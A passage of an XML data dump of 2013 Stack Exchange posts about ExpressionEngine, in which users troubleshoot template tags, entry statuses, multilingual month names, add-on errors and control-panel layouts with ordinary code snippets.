dynamic=&quot;no&quot; orderby=&quot;random&quot; limit=&quot;1&quot; category=&quot;36&quot;}&#xA;            {if no_results}&#xA;                {/exp:channel:entries}&#xA;                {exp:channel:entries channel=&quot;internal_adverts&quot; dynamic=&quot;no&quot; orderby=&quot;random&quot; limit=&quot;1&quot;}&#xA;                    {stash:url_title}{url_title}{/stash:url_title}&#xA;                    {stash:advert_title}{title}{/stash:advert_title}&#xA;                    {stash:short_description}{short_description}{/stash:short_description}&#xA;                    {stash:homepage_image}{homepage_image}{/stash:homepage_image}&#xA;                {/exp:channel:entries}&#xA;            {if:else}&#xA;                {stash:url_title}{url_title}{/stash:url_title}&#xA;                {stash:advert_title}{title}{/stash:advert_title}&#xA;                {stash:short_description}{short_description}{/stash:short_description}&#xA;                {stash:homepage_image}{homepage_image}{/stash:homepage_image}&#xA;            {/if}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2114" LastActivityDate="2013-11-09T15:26:40.220" Title="Conditionals inside Channel Entries tag to determine whether a second tag is required" Tags="|channel-entries|categories|stash|conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15580" PostTypeId="1" AcceptedAnswerId="15588" CreationDate="2013-11-08T16:29:17.303" Score="2" ViewCount="418" Body="&lt;p&gt;I have a site we are setting up on EE 2.72, and without realizing there was a known issue it i started using the Field Editor add-on to add fields.  It was throwing some errors here and there but seemed to save things ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I'm having is that now I'm getting some fields that just won't show on the publish page layout.  I the edit layout sidebar they show as empty squares.  When you click on the squares it switches to the eyeball but doesn't actually show in the layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oa8nh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried removing the field and adding it without field editor, removing field editor, and even going into the database exp_layout_publish table and removing the field layout json completely but no luck?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="727" LastActivityDate="2014-12-02T15:37:08.427" Title="Fields not showing on publish/edit page" Tags="|publish-layout|field-editor|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15581" PostTypeId="1" AcceptedAnswerId="15582" CreationDate="2013-11-08T16:46:13.707" Score="2" ViewCount="146" Body="&lt;p&gt;I've got a multi lingual site powered by Transcribe and I've run into one area where I am unable to get both French and English to work. See the code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:month_links channel=&quot;blog&quot; limit=&quot;50&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{exp:transcribe:uri path=&quot;events/archives&quot;}&quot; {if {month} == segment_4}class=&quot;current&quot;{/if} &amp;gt;{month}, {year}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:month_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need the &lt;strong&gt;{month}&lt;/strong&gt; variable to be in French on the french side and English on the English side. However since this is being pulled directly from EE itself I'm not sure how to achieve this. &lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-09T18:53:00.617" Title="exp:channel:month_links - need multi lingual output" Tags="|multi-language|template-scripting|transcribe|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15582" PostTypeId="2" ParentId="15581" CreationDate="2013-11-08T18:45:59.117" Score="2" Body="&lt;p&gt;Since you're evaluating a string, the arguments should be enclosed in quotes (&lt;code&gt;&amp;quot;&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if &amp;quot;{month}&amp;quot; == &amp;quot;{segment_4}&amp;quot;}class=&amp;quot;current&amp;quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You may need to add a &lt;code&gt;OR&lt;/code&gt; operator for a second condition to check.&lt;/p&gt;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;Just realized I misunderstood your question. I found this &lt;a href=&quot;http://devot-ee.com/add-ons/multi-language-module&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multi Language Module&lt;/a&gt; that allows you to define phrases for each language&lt;/p&gt;&#xA;&lt;h1&gt;Update #2&lt;/h1&gt;&#xA;&lt;p&gt;Since you're using the transcribe module, I would just create variables for each month (ie. &lt;code&gt;month_01&lt;/code&gt;) and pass it through the translate tag pair:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:transcribe:translate name=&amp;quot;month_{month_num}&amp;quot;}January{/exp:transcribe:translate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-11-09T18:53:00.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15583" PostTypeId="1" CreationDate="2013-11-08T19:30:12.397" Score="2" ViewCount="130" Body="&lt;p&gt;So I have way too many columns, let's get that out of the way first. But, be that as it may, I find that entering Matrix field data on a 13' laptop to be quite cramped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample of what it looks like on my 27&quot; iMac.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BabL2.png&quot; alt=&quot;Matrix field stretched out on iMac display&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nice, plenty of room to edit all fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's look at that same field on a much smaller screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CedZl.png&quot; alt=&quot;Matrix field scrunched up&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of it is tedious to work with at this width. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd really like is if the Matrix field would automatically stretch to be as wide as it needs to be, and the containing DIV would just scroll horizontally to accommodate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered, and found a solution for this problem?&lt;/p&gt;&#xA;" OwnerUserId="2326" LastActivityDate="2013-11-08T22:15:51.337" Title="Can a Matrix table be forced to scroll horizontally to allow for usable column widths?" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15584" PostTypeId="2" ParentId="15563" CreationDate="2013-11-08T19:42:36.207" Score="2" Body="&lt;p&gt;In your source code it looks like you have a ie conditional endif that doesn't have an opening which may be causing some errors&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;table&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td class=&quot;imagefilter&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;filter&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;left&quot;&amp;gt;&#xA;                                                                                                                                                                                                                                                                                                                                                                &amp;lt;!--[if IE]&amp;gt;&#xA;                                &amp;lt;input rel=&quot;desc&quot; type=&quot;text&quot; value=&quot;Description&quot; maxlength=&quot;256&quot; onblur=&quot;if (value == '') {value='Description'}&quot; onfocus=&quot;if (value == 'Description') {value =''}&quot;&amp;gt;&#xA;                                &amp;lt;![endif]--&amp;gt;&#xA;                                &amp;lt;!--[if !IE]&amp;gt; --&amp;gt;&#xA;                                &amp;lt;input rel=&quot;desc&quot; type=&quot;text&quot; value=&quot;&quot; maxlength=&quot;256&quot; placeholder=&quot;Description&quot;&amp;gt;&#xA;                                &amp;lt;![endif]--&amp;gt;&#xA;                                                                                                                &amp;lt;!--[if IE]&amp;gt;&#xA;                                &amp;lt;input rel=&quot;category&quot; type=&quot;text&quot; value=&quot;Category&quot; maxlength=&quot;256&quot; onblur=&quot;if (value == '') {value='Category'}&quot; onfocus=&quot;if (value == 'Category') {value =''}&quot;&amp;gt;&#xA;                                &amp;lt;![endif]--&amp;gt;&#xA;                                &amp;lt;!--[if !IE]&amp;gt; --&amp;gt;&#xA;                                &amp;lt;input rel=&quot;category&quot; type=&quot;text&quot; value=&quot;&quot; maxlength=&quot;256&quot; placeholder=&quot;Category&quot;&amp;gt;&#xA;                                &amp;lt;![endif]--&amp;gt;&#xA;                                                                                                                                                                                                                                                                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;right&quot;&amp;gt;&#xA;                                &amp;lt;label&amp;gt;Last&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;select rel=&quot;limit&quot;&amp;gt;&amp;lt;option&amp;gt;50&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;75&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;100&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;150&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;200&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;500&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;1000&amp;lt;/option&amp;gt;&amp;lt;option&amp;gt;2500&amp;lt;/option&amp;gt;&amp;lt;/select&amp;gt;&#xA;                                &amp;lt;label&amp;gt;Images&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;br clear=&quot;all&quot;&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;images&quot;&amp;gt;&#xA;                            &amp;lt;p class=&quot;Loading&quot;&amp;gt;Loading Images...&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See that first &lt;code&gt;&amp;lt;![endif]--&amp;gt;.&lt;/code&gt; I doubt this is the cause of your problems but you never know how this messes up browsers. I think you also have an extra &lt;code&gt;&amp;lt;/div&amp;gt;&lt;/code&gt; in there towards the bottom.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;.hasDatepicker{background:#fff url(https://dev.uscwm.org/themes/cp_themes/default/images/calendar_bg.gif) no-repeat 98% 2px;background-repeat:no-repeat;background-position:99%;}&amp;lt;/style&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- /container --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Console is showing a JS error TypeError: ChannelImages.CFields.find(...).sortable is not a function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.sortable is a jquery UI function. I can't see anywhere in your document where you are loading jquery ui. I assume in your channel:form call you have include_jquery=&quot;no&quot; as you are including your own version. I would consider changing that to =&quot;yes&quot; and taking a look at what it is putting out. Likely it is loading the jquery ui&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2013-11-08T19:42:36.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15585" PostTypeId="1" AcceptedAnswerId="15586" CreationDate="2013-11-08T20:24:10.540" Score="1" ViewCount="110" Body="&lt;p&gt;According to the &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/installation.html&quot; rel=&quot;nofollow&quot;&gt;WYGWAM Installing and Updating&lt;/a&gt; page, WYGWAM requires ExpressionEngine 2.4 or late.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are using both WYGWAM 3.2.1 and Assets 2.2.2 (may be the same for older versions) and you are running an EE version less than 2.6, you are likely going to get the following error when attempting to access any of the Editor Configurations within WYGWAM's settings:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to undefined function ee() in&#xA;  /PATH/TO/INSTALL/DIR/system/expressionengine/third_party/wygwam/mcp.wygwam.php&#xA;  on line 139&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="271" LastActivityDate="2013-11-08T20:24:10.540" Title="Error when using WYGWAM 3.2.1 &amp; Assets 2.2.2 with EE &lt; 2.6" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15586" PostTypeId="2" ParentId="15585" CreationDate="2013-11-08T20:24:10.540" Score="3" Body="&lt;p&gt;This is a pretty easy to resolve. Simply open up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/expressionengine/third_party/wygwam/mcp.wygwam.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and change line 139 from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$all_sources = ee()-&amp;gt;assets_lib-&amp;gt;get_all_sources();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$all_sources = $this-&amp;gt;EE-&amp;gt;assets_lib-&amp;gt;get_all_sources();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like this is the only reference to the ee() global in the codebase. Because this code block exists in a conditional which only gets executed if you are using Assets, you won't run into this problem if you are using the native File Manager.&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2013-11-08T20:24:10.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15587" PostTypeId="1" AcceptedAnswerId="15599" CreationDate="2013-11-08T21:13:35.020" Score="1" ViewCount="186" Body="&lt;p&gt;I currently have a block of code that looks like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the problem I'm trying to resolve is that I have a section on a different page using all of these statuses in their own divs to create a sort of Editor's Choice area.  shown here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;THE FEATURED STATUS&#xA;{exp:channel:entries channel=&quot;news|blog|misc&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; status=&quot;Featured&quot;}&#xA;  &amp;lt;div class=&quot;featured img&quot;&amp;gt;&#xA;    an image&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;featured text&quot;&amp;gt;&#xA;    text that links to article view template&#xA;      &amp;lt;div&amp;gt;&amp;lt;a class=&quot;color-red lg featured read-more&quot; href=&quot;{site_url}{channel_short_name}/view/{url_title}&quot;&amp;gt;Full Article&amp;amp;hellip;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}  &#xA;&#xA;EDCHOICE STATUS&#xA;{exp:channel:entries channel=&quot;news|blog|misc&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; status=&quot;EdChoice&quot;}&#xA;  &amp;lt;div class=&quot;EdChoice1 img&quot;&amp;gt;&#xA;    an image&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;EdChoice1 text&quot;&amp;gt;&#xA;    text that links to article view template&#xA;      &amp;lt;div&amp;gt;&amp;lt;a class=&quot;color-red lg featured read-more&quot; href=&quot;{site_url}{channel_short_name}/view/{url_title}&quot;&amp;gt;Full Article&amp;amp;hellip;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries} &#xA;&#xA;EDCHOICE STATUS&#xA;{exp:channel:entries channel=&quot;news|blog|misc&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; status=&quot;EdChoice&quot;}&#xA;  &amp;lt;div class=&quot;EdChoice2 img&quot;&amp;gt;&#xA;    an image&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;EdChoice2 text&quot;&amp;gt;&#xA;    text that links to article view template&#xA;      &amp;lt;div&amp;gt;&amp;lt;a class=&quot;color-red lg featured read-more&quot; href=&quot;{site_url}{channel_short_name}/view/{url_title}&quot;&amp;gt;Full Article&amp;amp;hellip;&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And those populate perfectly fine.  And the articles pulled with EdChoice status work when clicked on basically pulling up their respective channels view template and displaying the article.  HOWEVER, anything with the status of Featured shows and goes to the correct url, but does not display and obviously redirects to my 404 page.  Here is a block of what's in my view template, of which all the articles (EdChoice, Featured, Open, or otherwise) are pulling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries site=&quot;{site_short_name}&quot; channel=&quot;news|blog|misc&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; status=&quot;Open|Featured|EdChoice&quot; require_entry=&quot;yes&quot;}&#xA;    {if no_results}{redirect=&quot;404&quot;}{/if} &#xA;    &amp;lt;h1&amp;gt;&amp;lt;span itemprop=&quot;name&quot;&amp;gt;{title}&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            etc etc &#xA; {/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when I changed THE FEATURED STATUS block status to status=&quot;EdChoice&quot; the view page works fine.  I'm not sure what's going on here.  Has anyone encountered this before? Or know what I'm doing wrong as I am new to using multiple statuses&lt;/p&gt;&#xA;" OwnerUserId="337" LastEditorUserId="28" LastEditDate="2013-11-08T21:24:06.950" LastActivityDate="2013-11-08T23:04:27.203" Title="Multiple statuses on a page?" Tags="|channel-entries|status|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15588" PostTypeId="2" ParentId="15580" CreationDate="2013-11-08T21:15:54.080" Score="4" Body="&lt;p&gt;Sounds like you need to reset the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Publish Layout&lt;/strong&gt;&lt;/a&gt;. Select the member groups for which the layout should be reset and click the &quot;Reset Layout&quot; button. Then refresh the browser window. You'll then need to rebuild your Publish Layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wmNkw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-08T21:15:54.080" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15589" PostTypeId="2" ParentId="15587" CreationDate="2013-11-08T21:19:12.930" Score="1" Body="&lt;p&gt;The &lt;code&gt;exp:channel:entries&lt;/code&gt; tag by default only looks for &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#status&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;status=&quot;open&quot;&lt;/strong&gt;&lt;/a&gt; entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be best to use &lt;code&gt;status=&quot;not closed&lt;/code&gt;&quot; in your setup. This will show all entries except those using the &quot;closed&quot; status.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-08T21:19:12.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15590" PostTypeId="1" CreationDate="2013-11-08T21:22:17.427" Score="3" ViewCount="396" Body="&lt;p&gt;Having an issue with a low variable of the &quot;Grid&quot; persuasion.&#xA;I have an assets field inside the grid, and I can upload and add the asset just fine, but when I save the Low Variable, the CP never shows the image inside the field, but only an &quot;Add file&quot; button. I checked the database, and the image name is in the field in the low_variables_grid_field_12 table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets work in normal entry fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE v.2.7.2 Low Variables v.2.4.0 and Assets 2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any wisdom on this issue?&lt;/p&gt;&#xA;" OwnerUserId="2338" LastActivityDate="2015-01-12T05:23:39.360" Title="Assets field inside of a grid inside of a low variable -- Asset not saving" Tags="|assets|low-variables|grid|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15591" PostTypeId="2" ParentId="15587" CreationDate="2013-11-08T21:25:13.940" Score="1" Body="&lt;p&gt;Because you are setting &lt;code&gt;url_title=&quot;{segment_3}&quot;&lt;/code&gt; and &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; try removing the &lt;code&gt;require_entry=&quot;yes&quot;&lt;/code&gt; parameter from your &lt;code&gt;exp:channel:entries&lt;/code&gt; tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove &lt;code&gt;url_title=&quot;{segment_3}&quot;&lt;/code&gt; and &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;, and leave the &lt;code&gt;require_entry=&quot;yes&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-08T21:44:54.123" LastActivityDate="2013-11-08T21:44:54.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15592" PostTypeId="1" AcceptedAnswerId="15593" CreationDate="2013-11-08T21:25:28.753" Score="1" ViewCount="83" Body="&lt;p&gt;Is there a way to send emails based on member group (e.g. when a member registers and is assigned group x, they get email x; if group y, they get email y)? My site also is multi-lingual, so being able to send email based on the site's current language when user signs up would be nice. Or being able to send email based on user's language preference would also be good (I'm using SafeCracker registration, so my members have an associated channel entry which can store a language preference).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible to do in EE?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-11-08T21:32:35.650" Title="Automated Emails - custom, based on member" Tags="|add-on|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15593" PostTypeId="2" ParentId="15592" CreationDate="2013-11-08T21:32:35.650" Score="2" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Postmaster addon&lt;/strong&gt;&lt;/a&gt;. If any addon can do what you're wanting it will be this one. It also has &lt;a href=&quot;https://objectivehtml.com/postmaster/hooks&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;hooks&lt;/strong&gt;&lt;/a&gt; for custom development if you end up going that way.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-08T21:32:35.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15594" PostTypeId="2" ParentId="15583" CreationDate="2013-11-08T22:15:51.337" Score="1" Body="&lt;p&gt;This may not work exactly the way you want but it's a solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When setting up your Matrix columns set a Column Width. This will force the width of the column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NI8Mc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a new file called override.css and place it into your EE install here:&lt;br&gt;&#xA;&lt;code&gt;/themes/cp_themes/default/css/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that file add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;table.matrix {&#xA;    table-layout: fixed;&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-08T22:15:51.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15595" PostTypeId="2" ParentId="15587" CreationDate="2013-11-08T22:22:21.943" Score="1" Body="&lt;p&gt;Remove &lt;code&gt;site=&quot;{site_short_name}&quot;&lt;/code&gt; from your tag. This parameter isn't present on your working code.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-08T22:22:21.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15597" PostTypeId="1" AcceptedAnswerId="15611" CreationDate="2013-11-08T22:35:10.423" Score="1" ViewCount="443" Body="&lt;p&gt;For a given channel, is it possible to loop through the categories associated with its entries in alphabetical order, then nested-loop through the entries under that category? I'm trying to build a tree-view like template.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-11-09T11:55:00.630" Title="Looping through channel entries with categories" Tags="|channel-entries|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15598" PostTypeId="2" ParentId="15579" CreationDate="2013-11-08T22:40:31.033" Score="0" Body="&lt;p&gt;Not that this will fix your issue but you have an extraneous {/exp:channel:entries} tag here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cNZoQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-08T22:40:31.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15599" PostTypeId="2" ParentId="15587" CreationDate="2013-11-08T23:04:27.203" Score="1" Body="&lt;p&gt;Remove everything from your template and just add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;news|blog|misc&quot; status=&quot;not closed&quot;}&#xA;    {title} &#xA; {/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this works, start adding code back in piece by piece until things break.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-08T23:04:27.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15600" PostTypeId="2" ParentId="15563" CreationDate="2013-11-08T23:29:05.057" Score="2" Body="&lt;p&gt;I paid the $50 to have EllisLabs support look into it. In 30 minutes I had the solution. Turns out when EE updated it missed adding a row to the Actions table in the DB. Channel:form was looking for this action, but didn't find it. Producing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;http://dev.uscwm.org/?ACT={AID:Channel:combo_loader}&amp;amp;amp;ui=core,widget,mouse,position,draggable,resizable,sortable,button,dialog,tabs,datepicker&amp;amp;amp;plugin=markitup,toolbox.expose,overlay,tmpl&amp;amp;amp;file=underscore&amp;amp;amp;v=1383866052&amp;amp;amp;include_jquery=y&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Kevin at EL says,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“{AID:Channel:combo_loader}”? That should be replaced with an action ID, if it’s not, it means the action ID likely isn’t present in your actions table. So, I simply added a row to the actions table to Channel:combo_loader and now it seems to be working.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I know I never would have figured this one out. Well worth it to get this taken care of so my weekend will be better without this hanging over my head!&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-11-08T23:29:05.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15601" PostTypeId="2" ParentId="14812" CreationDate="2013-11-09T00:03:38.210" Score="2" Body="&lt;p&gt;I've done this before with NSM Transplant. But I've been slowly removing it in favor of Stash. This question inspired me to finish the process with this template, so thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, I think there might be a workflow problem with your question. I'm not sure how often people will be updating events but from what it sounds like is that when someone wants to add a new event, after publishing it they have to go back and edit Channel A to associate that event with the channel. I've found that for adding new events it's better that the Playa field is in the event itself. That way, adding an event only requires publishing a new entry that way, rather than publishing a new entry and editing a previous one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You very well might have reason you've set it up that way. So my answer assumes your current workflow is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, we need to get the event ids from the playa field, as in Stephen's answer. Some differences: I use the playa:children_ids tag here which is perfect for stuff like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you can't put a limit on this tag, but you really wouldn't want to. What if the first five found by playa were all expired Calendar Entries? There could be 20 others that are not expired and wouldn't show up. Best to leave the limiting to the Calendar tag itself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;eventids&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;education&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;        {exp:playa:children_ids channel=&quot;calendar_events&quot;}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, I used Switchee myself instead of two if statements Stephen used. It gives me the chance to verify the data I got from playa was accurate with a regex statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Calendar:Cal tag is where I limit my returned events, since now we have all the potential events and not just the first five that could be expired Calendar Events.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;stash:eventids&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;#([0-9]+\&amp;amp;#124;?)+#&quot;}&#xA;        {exp:stash:set 